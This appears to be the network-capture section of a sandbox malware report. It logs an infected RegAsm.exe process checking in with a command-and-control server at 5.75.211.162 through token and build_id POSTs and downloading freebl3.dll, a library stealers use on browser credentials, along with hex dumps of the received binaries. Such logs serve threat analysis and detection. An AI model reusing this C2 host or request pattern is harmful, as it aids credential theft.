2024-09-25 18:49:30 UTC	16384	IN	Data Raw: 24 10 83 c4 04 85 f6 74 64 8b 7c 24 14 e9 68 fe ff ff 0f b7 86 90 00 00 00 8b de 8b 54 24 10 8b 4c 24 24 8b 6c 24 20 89 47 10 8b 86 98 00 00 00 c1 e8 06 83 e0 01 89 54 24 10 89 47 14 80 bb 97 00 00 00 02 89 4c 24 14 0f 85 c8 fe ff ff b8 01 00 00 00 89 4c 24 14 89 54 24 10 e9 b8 fe ff ff 5f 5e 5d b8 07 00 00 00 5b 83 c4 18 c3 5f 5e 5d 33 c0 5b 83 c4 18 c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc Data Ascii: $td\|$hT$L$$l$ GT$GL$L$T$_^][_^]3[
2024-09-25 18:49:30 UTC	16384	IN	Data Raw: fe ff 83 c4 18 5f 5e 5d 5b 59 c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 56 8b 74 24 08 57 8b 7c 24 14 8b 46 10 8b 56 0c 8d 0c 80 8b 42 68 ff 74 88 fc ff 77 04 ff 37 e8 ac f3 11 00 83 c4 0c 85 c0 74 0b ff 37 56 e8 d3 67 fe ff 83 c4 08 5f 5e c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 6a 00 6a 01 6a ff 68 2c 67 21 10 ff 74 24 14 e8 bc d7 0d 00 83 c4 14 Data Ascii: _^][YVt$W\|$FVBhtw7t7Vg_^jjjh,g!t$
2024-09-25 18:49:30 UTC	16384	IN	Data Raw: 1c 89 4a 2c ff 46 2c 5e c3 8b 4c 24 0c 33 d2 8b 71 14 8b 41 08 f7 76 34 8b 46 38 8d 14 90 8b 02 3b c1 74 0d 0f 1f 40 00 8d 50 10 8b 02 3b c1 75 f7 8b 40 10 89 02 ff 4e 30 66 83 79 0c 00 8b 71 14 74 10 8b 46 3c 89 41 10 8b 46 04 89 4e 3c 5e ff 08 c3 ff 31 e8 6e 5a 0a 00 8b 46 04 83 c4 04 ff 08 5e c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 8b 4c 24 04 8b 54 24 10 56 57 8b 71 0c 85 f6 74 3c 8b 06 83 f8 01 74 1f 83 f8 02 74 1a 83 f8 05 74 15 33 ff 83 f8 03 75 26 bf 01 00 00 00 85 d7 74 1d 5f 33 c0 5e c3 83 7c 24 10 01 75 f4 83 7c 24 14 01 75 ed 5f b8 05 00 00 00 5e c3 33 ff 8b 41 04 52 ff 74 24 18 8b 08 ff 74 24 18 50 8b 41 38 ff d0 83 c4 10 85 ff 74 1c 85 c0 75 18 8b 4c 24 14 ba 01 00 00 00 Data Ascii: J,F,^L$3qAv4F8;t@P;u@N0fyqtF<AFN<^1nZF^L$T$VWqt<ttt3u&t_3^\|$u\|$u_^3ARt$t$PA8tuL$
2024-09-25 18:49:30 UTC	16384	IN	Data Raw: cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 56 8b 74 24 08 57 8b 46 0c 85 c0 74 0a 50 ff 15 68 20 24 10 83 c4 04 6a 00 6a 00 68 50 45 24 10 68 e8 40 22 10 56 e8 25 83 14 00 83 c4 14 80 7e 57 00 75 04 33 ff eb 0d 6a 00 56 e8 d0 b5 01 00 83 c4 08 8b f8 8b 46 0c 85 c0 74 0a 50 ff 15 70 20 24 10 83 c4 04 8b c7 5f 5e c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 53 56 57 8b 7c 24 10 ff b7 dc 00 00 00 e8 6d f6 fd ff 83 c4 04 8d 77 3c bb 28 00 00 00 0f 1f 00 ff 36 e8 58 f6 fd ff 83 c4 04 8d 76 04 83 eb 01 75 ee 8b b7 f8 00 00 00 85 f6 74 54 39 1d 18 20 24 10 74 42 a1 38 82 24 10 85 c0 74 0a 50 ff 15 68 20 24 10 83 c4 04 56 ff 15 44 20 24 10 29 05 d0 81 24 10 ff 0d f4 Data Ascii: Vt$WFtPh $jjhPE$h@"V%~Wu3jVFtPp $_^SVW\|$mw<(6XvutT9 $tB8$tPh $VD $)$
2024-09-25 18:49:31 UTC	16384	IN	DELETE FROM %Q.'%q_docsize' WHERE id=?SELECT sz%s FROM %Q.'%q_docsize' WHERE id=?REPLACE INTO %Q.'%q_config' VALUES(?,?)SELECT %s FROM %s AS T,?,originDROP TABLE IF EXISTS %Q.'%q_data';DROP TABLE IF EXISTS %Q.'%q_idx';DROP TABLE IF EXISTS %Q.'%q_config';DROP TABLE IF EXISTS %Q.'%q_docsize';DROP TABLE IF EXISTS %Q.'%q_content';ALTER TABLE %Q.'%q_%s' RENAME TO '%q_%s';CREATE TABLE %Q.'%q_%q'(%s)%sfts5: error creating shadow table %q_%s: %sid INTEGER PRIMARY KEY, c%did INTEGER PRIMARY KEY, sz BLOBid INTEGER PRIMARY KEY, sz BLOB, origin INTEGERk PRIMARY KEY, vDELETE FROM %Q.'%q_data';DELETE FROM %Q.'%q_idx';DELETE FROM %Q.'%q_docsize';SELECT count() FROM %Q.'%q_%s'tokencharsseparatorsL N* Cocategoriesremove_diacriticscase_sensitiveasciitrigramcolrowinstancefts5vocab: unknown table type: %Q [TRUNCATED] r:Y<\|=>MbP?\|^~?9RF??14????K(??? ?333333?-DT!?@@-DT!@!3\|@@@-DT!@@$@4@>@aTR'>@H@cL@Zd;M@Y@fffff^@r@v@@@p@@@@@@A`&A.A@}<A`FASA TAcApAdyAAeAA _B MB@dB/dB0CW4vCCC [TRUNCATED] i" i"$i"0i"8i"Di"Pi"\i"hi" xi"i"!i"i"i"i"i"i"i"i""i"!!i""!i"9"i"?"D!!i"!i"!i"i"i"i"i"i"i"i"j"j"j"j"j"j"j"j" j",j"8j"Dj"Pj"lj"xj"j"j"j"j" k"Dk"#pk"k" k"k"&l"0l"Dl"Hl"Pl"dl"#l"l"l"l"l"l"%,m"$Xm"%m"+m"m" n""0n"(dn"n"n"n"n"!n"o"0o"Ho"lo"!!9"i"i"D!lj"o"__based(__cdecl__pascal__stdcall__th [TRUNCATED] 9/I?hKd?81UH!G?#$0\|f?KRVnTUUUU?~I$I?gHB;E?q{?x? @ @??@>1\|MCatan2; cC($($($cC($000 cC6@cosUUUUUU?UUUUUU?llV4V>>m0_$@8C`a=`a=@T!?sp.c;`C<??i~@sinh!87Acosh(8UA7Gtanh!87Ay-8C8C0<0<+eGW@+eGW@B.?B.?:;=:;=t?ZfUUU?&WU?{?? [TRUNCATED] !5ACPRSWYlm pr )Y"\"\/"/X"""0"""T"v"""0"x""@"""v"","@"""api-ms-win-core-datetime-l1-1-1api-ms-win-core-file-l1-2-4api-ms-win-core-file-l1-2-2api-ms-win-core-localization-l1-2-1api-ms-win-core-localization-obsolete-l1-2-0api-ms-win-core-processthreads-l1-1-2api-ms-win-core-string-l1-1-0api-ms-win-core-sysinfo-l1-2-1api-ms-win-c [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49721	5.75.211.162	443	2964	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-25 18:49:32 UTC	277	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----KKEBKJJDGHCBGCAAKEHD User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 5.75.211.162 Content-Length: 829 Connection: Keep-Alive Cache-Control: no-cache
2024-09-25 18:49:32 UTC	829	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4b 4b 45 42 4b 4a 4a 44 47 48 43 42 47 43 41 41 4b 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 34 34 32 66 31 34 63 33 62 63 65 63 34 31 63 64 33 36 64 37 65 34 64 66 34 38 63 35 64 31 37 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 45 42 4b 4a 4a 44 47 48 43 42 47 43 41 41 4b 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 39 62 66 35 65 34 33 31 38 36 39 36 34 33 61 32 61 63 33 39 37 64 32 64 63 30 64 36 38 37 66 62 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 45 42 4b 4a 4a 44 47 48 43 42 47 43 41 41 4b 45 48 44 0d 0a 43 6f 6e 74 Data Ascii: ------KKEBKJJDGHCBGCAAKEHDContent-Disposition: form-data; name="token"d442f14c3bcec41cd36d7e4df48c5d17------KKEBKJJDGHCBGCAAKEHDContent-Disposition: form-data; name="build_id"9bf5e431869643a2ac397d2dc0d687fb------KKEBKJJDGHCBGCAAKEHDCont
2024-09-25 18:49:33 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 25 Sep 2024 18:49:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-09-25 18:49:33 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49722	5.75.211.162	443	2964	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-25 18:49:33 UTC	277	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----HJDGHIJDGCBAAAAAFIJD User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 5.75.211.162 Content-Length: 437 Connection: Keep-Alive Cache-Control: no-cache
2024-09-25 18:49:33 UTC	437	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 48 4a 44 47 48 49 4a 44 47 43 42 41 41 41 41 41 46 49 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 34 34 32 66 31 34 63 33 62 63 65 63 34 31 63 64 33 36 64 37 65 34 64 66 34 38 63 35 64 31 37 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 44 47 48 49 4a 44 47 43 42 41 41 41 41 41 46 49 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 39 62 66 35 65 34 33 31 38 36 39 36 34 33 61 32 61 63 33 39 37 64 32 64 63 30 64 36 38 37 66 62 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 44 47 48 49 4a 44 47 43 42 41 41 41 41 41 46 49 4a 44 0d 0a 43 6f 6e 74 Data Ascii: ------HJDGHIJDGCBAAAAAFIJDContent-Disposition: form-data; name="token"d442f14c3bcec41cd36d7e4df48c5d17------HJDGHIJDGCBAAAAAFIJDContent-Disposition: form-data; name="build_id"9bf5e431869643a2ac397d2dc0d687fb------HJDGHIJDGCBAAAAAFIJDCont
2024-09-25 18:49:34 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 25 Sep 2024 18:49:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-09-25 18:49:34 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	49723	5.75.211.162	443	2964	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-25 18:49:34 UTC	277	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----FIDHIEBAAKJDHIECAAFH User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 5.75.211.162 Content-Length: 437 Connection: Keep-Alive Cache-Control: no-cache
2024-09-25 18:49:34 UTC	437	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 46 49 44 48 49 45 42 41 41 4b 4a 44 48 49 45 43 41 41 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 34 34 32 66 31 34 63 33 62 63 65 63 34 31 63 64 33 36 64 37 65 34 64 66 34 38 63 35 64 31 37 0d 0a 2d 2d 2d 2d 2d 2d 46 49 44 48 49 45 42 41 41 4b 4a 44 48 49 45 43 41 41 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 39 62 66 35 65 34 33 31 38 36 39 36 34 33 61 32 61 63 33 39 37 64 32 64 63 30 64 36 38 37 66 62 0d 0a 2d 2d 2d 2d 2d 2d 46 49 44 48 49 45 42 41 41 4b 4a 44 48 49 45 43 41 41 46 48 0d 0a 43 6f 6e 74 Data Ascii: ------FIDHIEBAAKJDHIECAAFHContent-Disposition: form-data; name="token"d442f14c3bcec41cd36d7e4df48c5d17------FIDHIEBAAKJDHIECAAFHContent-Disposition: form-data; name="build_id"9bf5e431869643a2ac397d2dc0d687fb------FIDHIEBAAKJDHIECAAFHCont
2024-09-25 18:49:35 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 25 Sep 2024 18:49:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-09-25 18:49:35 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	49724	5.75.211.162	443	2964	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-25 18:49:35 UTC	196	OUT	GET /freebl3.dll HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 5.75.211.162 Connection: Keep-Alive Cache-Control: no-cache
2024-09-25 18:49:36 UTC	263	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 25 Sep 2024 18:49:36 GMT Content-Type: application/octet-stream Content-Length: 685392 Connection: close Last-Modified: Wednesday, 25-Sep-2024 18:49:36 GMT Cache-Control: no-store, no-cache Accept-Ranges: bytes
2024-09-25 18:49:36 UTC	16121	IN	Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHS
2024-09-25 18:49:36 UTC	16384	IN	Data Raw: 0c ff ff ff 13 bd 10 ff ff ff 01 c8 89 45 b4 11 df 89 7d c8 89 f2 31 fa 8b 4d 98 31 c1 89 ce 0f a4 d6 10 89 b5 58 ff ff ff 0f ac d1 10 89 4d 98 8b 7d ec 01 cf 89 7d ec 8b 55 e0 11 f2 89 55 e0 31 d3 8b 4d 8c 31 f9 89 da 0f a4 ca 01 89 55 88 0f a4 d9 01 89 4d 8c 8b 5d d4 03 9d 20 ff ff ff 8b 45 cc 13 85 48 ff ff ff 03 5d 94 13 45 9c 89 45 cc 8b bd 7c ff ff ff 31 c7 8b 45 a8 31 d8 89 45 a8 8b 4d c4 01 f9 89 4d c4 8b 75 bc 11 c6 89 75 bc 8b 55 94 31 ca 8b 4d 9c 31 f1 89 d0 0f a4 c8 08 0f a4 d1 08 89 4d 9c 03 9d 04 ff ff ff 8b 75 cc 13 b5 08 ff ff ff 01 cb 89 5d d4 11 c6 89 75 cc 8b 4d a8 31 f1 31 df 89 fa 0f a4 ca 10 89 55 94 0f ac cf 10 89 bd 7c ff ff ff 8b 75 c4 01 fe 89 75 c4 8b 4d bc 11 d1 89 4d bc 31 c8 8b 5d 9c 31 f3 89 c1 0f a4 d9 01 89 8d 78 ff ff ff Data Ascii: E}1M1XM}}UU1M1UM] EH]EE\|1E1EMMuuU1M1Mu]uM11U\|uuMM1]1x
2024-09-25 18:49:36 UTC	16384	IN	Data Raw: f2 c1 c2 08 89 88 90 00 00 00 31 d6 89 b0 9c 00 00 00 89 90 98 00 00 00 8b 4d e8 89 fa 31 ca c1 c2 08 31 d1 89 d6 89 88 a4 00 00 00 8b 4d d8 8b 55 d4 31 ca c1 c2 08 89 b0 a0 00 00 00 31 d1 89 88 ac 00 00 00 89 90 a8 00 00 00 8b 4d c0 8b 55 c4 31 d1 c1 c1 08 31 ca 89 90 b4 00 00 00 8b 95 54 ff ff ff 8b 75 bc 31 d6 c1 c6 08 89 88 b0 00 00 00 31 f2 89 90 bc 00 00 00 89 b0 b8 00 00 00 81 c4 d8 00 00 00 5e 5f 5b 5d c3 cc cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 81 ec 00 01 00 00 89 95 78 ff ff ff 89 cf ff 31 e8 a2 90 07 00 83 c4 04 89 45 bc ff 77 04 e8 94 90 07 00 83 c4 04 89 45 b8 ff 77 08 e8 86 90 07 00 83 c4 04 89 45 c0 ff 77 0c e8 78 90 07 00 83 c4 04 89 45 dc ff 77 10 e8 6a 90 07 00 83 c4 04 89 c6 ff 77 14 e8 5d 90 07 00 83 c4 04 89 c3 ff 77 18 Data Ascii: 1M11MU11MU11Tu11^_[]USWVx1EwEwEwxEwjw]w
2024-09-25 18:49:36 UTC	16384	IN	Data Raw: 8b 7d 08 83 c4 0c 8a 87 18 01 00 00 30 03 8a 87 19 01 00 00 30 43 01 8a 87 1a 01 00 00 30 43 02 8a 87 1b 01 00 00 30 43 03 8a 87 1c 01 00 00 30 43 04 8a 87 1d 01 00 00 30 43 05 8a 87 1e 01 00 00 30 43 06 8a 87 1f 01 00 00 30 43 07 8a 87 20 01 00 00 30 43 08 8a 87 21 01 00 00 30 43 09 8a 87 22 01 00 00 30 43 0a 8a 87 23 01 00 00 30 43 0b 8a 87 24 01 00 00 30 43 0c 8a 87 25 01 00 00 30 43 0d 8a 87 26 01 00 00 30 43 0e 8a 87 27 01 00 00 30 43 0f 0f 10 45 e0 0f 11 87 18 01 00 00 8b 4d f0 31 e9 e8 ad 4e 07 00 31 c0 83 c4 1c 5e 5f 5b 5d c3 cc cc cc 55 89 e5 68 28 01 00 00 e8 42 50 07 00 83 c4 04 5d c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 83 ec 24 8b 4d 0c a1 b4 30 0a 10 31 e8 89 45 f0 85 c9 74 50 8b 45 10 8d 50 f0 83 fa 10 77 45 be 01 01 Data Ascii: }00C0C0C0C0C0C0C 0C!0C"0C#0C$0C%0C&0C'0CEM1N1^_[]Uh(BP]USWV$M01EtPEPwE
2024-09-25 18:49:36 UTC	16384	IN	Data Raw: ee 0e 81 e6 fc 03 00 00 33 8e 70 3b 08 10 8b 75 e0 89 5e 1c c1 e8 18 33 0c 85 70 3f 08 10 89 56 20 8b 45 f0 8b 5d ec 29 d8 05 33 37 ef c6 0f b6 d4 8b 14 95 70 37 08 10 0f b6 f0 33 14 b5 70 33 08 10 89 c6 c1 ee 0e 81 e6 fc 03 00 00 33 96 70 3b 08 10 8b 75 e0 89 7e 24 c1 e8 18 33 14 85 70 3f 08 10 89 4e 28 89 56 2c 8b 45 e8 89 c7 0f a4 df 08 0f a4 c3 08 89 5d ec 8b 45 e4 01 f8 05 99 91 21 72 0f b6 cc 8b 0c 8d 70 37 08 10 0f b6 d0 33 0c 95 70 33 08 10 89 c2 c1 ea 0e 81 e2 fc 03 00 00 33 8a 70 3b 08 10 c1 e8 18 33 0c 85 70 3f 08 10 89 4e 30 8b 75 f0 89 f1 29 d9 81 c1 67 6e de 8d 0f b6 c5 8b 04 85 70 37 08 10 0f b6 d1 33 04 95 70 33 08 10 89 ca c1 ea 0e 81 e2 fc 03 00 00 33 82 70 3b 08 10 c1 e9 18 33 04 8d 70 3f 08 10 89 f1 8b 55 e4 0f a4 d6 18 89 75 e8 0f ac Data Ascii: 3p;u^3p?V E])37p73p33p;u~$3p?N(V,E]E!rp73p33p;3p?N0u)gnp73p33p;3p?Uu
2024-09-25 18:49:36 UTC	16384	IN	Data Raw: 00 00 00 c7 45 bc 00 00 00 00 8d 45 e0 50 e8 04 5a 04 00 83 c4 04 85 c0 89 7d a8 0f 88 d4 01 00 00 8d 45 d0 50 e8 ed 59 04 00 83 c4 04 85 c0 0f 88 c0 01 00 00 8d 45 c0 50 e8 d9 59 04 00 83 c4 04 85 c0 0f 88 ac 01 00 00 8d 45 b0 50 e8 c5 59 04 00 83 c4 04 89 c3 85 c0 0f 88 98 01 00 00 8d 46 04 8b 4d ac 83 c1 04 50 51 57 e8 ae d0 06 00 83 c4 0c 89 c7 85 c0 0f 85 7c 01 00 00 8b 45 ac ff 70 0c ff 70 08 8d 45 c0 50 e8 48 d7 04 00 83 c4 0c 89 c3 85 c0 0f 88 5b 01 00 00 8d 46 10 8b 4d ac 83 c1 10 50 51 ff 75 a8 e8 6f d0 06 00 83 c4 0c 89 c7 85 c0 0f 85 3d 01 00 00 8b 45 ac ff 70 18 ff 70 14 8d 45 e0 50 e8 09 d7 04 00 83 c4 0c 89 c3 85 c0 0f 88 1c 01 00 00 8b 4e 0c b8 40 00 00 00 81 f9 7f 07 00 00 77 2c b8 30 00 00 00 81 f9 bf 03 00 00 77 1f b8 20 00 00 00 81 f9 Data Ascii: EEPZ}EPYEPYEPYFMPQW\|EppEPH[FMPQuo=EppEPN@w,0w
2024-09-25 18:49:36 UTC	16384	IN	Data Raw: c4 04 8d 44 24 70 50 e8 5b 1c 04 00 83 c4 04 8d 44 24 60 50 e8 4e 1c 04 00 83 c4 04 8d 44 24 50 50 e8 41 1c 04 00 83 c4 04 8d 44 24 40 50 e8 34 1c 04 00 83 c4 04 8d 44 24 30 50 e8 27 1c 04 00 83 c4 04 8d 44 24 20 50 e8 1a 1c 04 00 83 c4 04 83 c6 04 83 fe 04 77 1a b8 13 e0 ff ff ff 24 b5 74 55 08 10 b8 05 e0 ff ff eb 0c b8 02 e0 ff ff eb 05 b8 01 e0 ff ff 50 e8 7d 90 06 00 83 c4 04 e9 75 fb ff ff cc cc 55 89 e5 53 57 56 81 ec ac 00 00 00 89 cb 8b 4d 0c a1 b4 30 0a 10 31 e8 89 45 f0 8b 73 08 83 c6 07 c1 ee 03 85 c9 74 1b 8b 41 04 80 38 04 0f 85 c2 01 00 00 8d 04 36 83 c0 01 39 41 08 0f 85 b3 01 00 00 89 95 48 ff ff ff c7 45 ec 00 00 00 00 c7 45 dc 00 00 00 00 c7 45 cc 00 00 00 00 c7 45 bc 00 00 00 00 c7 45 ac 00 00 00 00 c7 45 9c 00 00 00 00 c7 45 8c 00 00 Data Ascii: D$pP[D$`PND$PPAD$@P4D$0P'D$ Pw$tUP}uUSWVM01EstA869AHEEEEEEE
2024-09-25 18:49:36 UTC	16384	IN	Data Raw: 8b 7d 88 89 f8 f7 65 c8 89 55 84 89 85 0c fd ff ff 89 f8 f7 65 c4 89 95 4c fd ff ff 89 85 58 fd ff ff 89 f8 f7 65 d4 89 95 ac fd ff ff 89 85 b4 fd ff ff 89 f8 f7 65 d8 89 95 30 fe ff ff 89 85 40 fe ff ff 89 f8 f7 65 e4 89 95 a0 fe ff ff 89 85 a4 fe ff ff 89 f8 f7 65 e0 89 95 c4 fe ff ff 89 85 cc fe ff ff 89 f8 f7 65 dc 89 95 ec fe ff ff 89 85 f0 fe ff ff 89 d8 f7 e7 89 95 10 ff ff ff 89 85 18 ff ff ff 8b 75 94 89 f0 f7 65 9c 89 85 30 fd ff ff 89 55 88 8b 45 c8 8d 14 00 89 f0 f7 e2 89 95 90 fd ff ff 89 85 98 fd ff ff 89 f0 f7 65 c4 89 95 f0 fd ff ff 89 85 f8 fd ff ff 89 f0 f7 65 90 89 55 90 89 85 9c fe ff ff 89 f0 f7 65 d8 89 95 b8 fe ff ff 89 85 bc fe ff ff 89 f0 f7 65 ec 89 95 e4 fe ff ff 89 85 e8 fe ff ff 89 f0 f7 65 e0 89 95 20 ff ff ff 89 85 24 ff ff Data Ascii: }eUeLXee0@eeeue0UEeeUeee $
2024-09-25 18:49:36 UTC	16384	IN	Data Raw: 77 38 8b 4f 34 89 4d e4 8b 4f 30 89 4d d4 8b 4f 2c 89 4d bc 8b 4f 28 89 4d a8 89 75 c8 89 45 d8 8b 47 24 89 45 c0 8b 77 20 89 75 ac 8b 4f 08 89 4d e0 89 f8 89 7d ec 8b 5d a8 01 d9 8b 3f 01 f7 89 7d cc 8b 70 04 13 75 c0 89 75 b8 83 d1 00 89 4d d0 0f 92 45 b4 8b 70 0c 8b 55 bc 01 d6 8b 48 10 8b 45 d4 11 c1 0f 92 45 90 01 d6 11 c1 0f 92 45 e8 01 c6 89 45 d4 13 4d e4 0f 92 45 f0 01 5d e0 0f b6 7d b4 8d 04 06 11 c7 0f 92 45 b4 8b 45 c0 01 45 cc 11 5d b8 8b 45 bc 8b 55 d0 8d 1c 02 83 d3 00 89 5d e0 0f 92 c3 01 c2 0f b6 db 8b 45 e4 8d 14 07 11 d3 89 5d d0 0f 92 c2 03 75 d4 0f b6 45 b4 8b 5d e4 8d 34 19 11 f0 89 45 9c 0f 92 45 a4 01 df 0f b6 d2 8b 75 c8 8d 34 30 11 f2 0f 92 45 df 80 45 90 ff 8b 75 ec 8b 46 14 89 45 94 8d 04 03 89 df 83 d0 00 89 45 b4 0f 92 45 98 Data Ascii: w8O4MO0MO,MO(MuEG$Ew uOM}]?}puuMEpUHEEEEME]}EEE]EU]E]uE]4EEu40EEuFEEE
2024-09-25 18:49:36 UTC	16384	IN	Data Raw: e8 1c c1 ee 1a 01 c2 89 95 08 ff ff ff 8b bd 2c ff ff ff 89 f8 81 e7 ff ff ff 01 8d 0c fe 89 d6 c1 ee 1d 01 f1 89 8d 04 ff ff ff c1 e8 19 8b bd 30 ff ff ff 89 fe 81 e7 ff ff ff 03 8d 3c f8 89 c8 c1 e8 1c 01 c7 c1 ee 1a 8b 9d 34 ff ff ff 89 d8 81 e3 ff ff ff 01 8d 1c de 89 fe c1 ee 1d 01 f3 c1 e8 19 8b b5 38 ff ff ff 89 f1 81 e6 ff ff ff 03 8d 04 f0 89 de c1 ee 1c 01 f0 89 c6 25 ff ff ff 1f 89 85 38 ff ff ff c1 e9 1a c1 ee 1d 8d 04 0e 01 f1 83 c1 ff 89 8d 14 ff ff ff 8b 8d 0c ff ff ff c1 e1 03 81 e1 f8 ff ff 1f 8d 0c 41 89 8d 18 ff ff ff 8b b5 10 ff ff ff 81 e6 ff ff ff 0f 89 c1 c1 e1 0b 29 ce 8b 8d 14 ff ff ff c1 e9 1f 89 8d 14 ff ff ff 83 c1 ff 89 ca 81 e2 00 00 00 10 01 d6 89 b5 24 ff ff ff 8b b5 08 ff ff ff 81 e6 ff ff ff 1f 89 ca 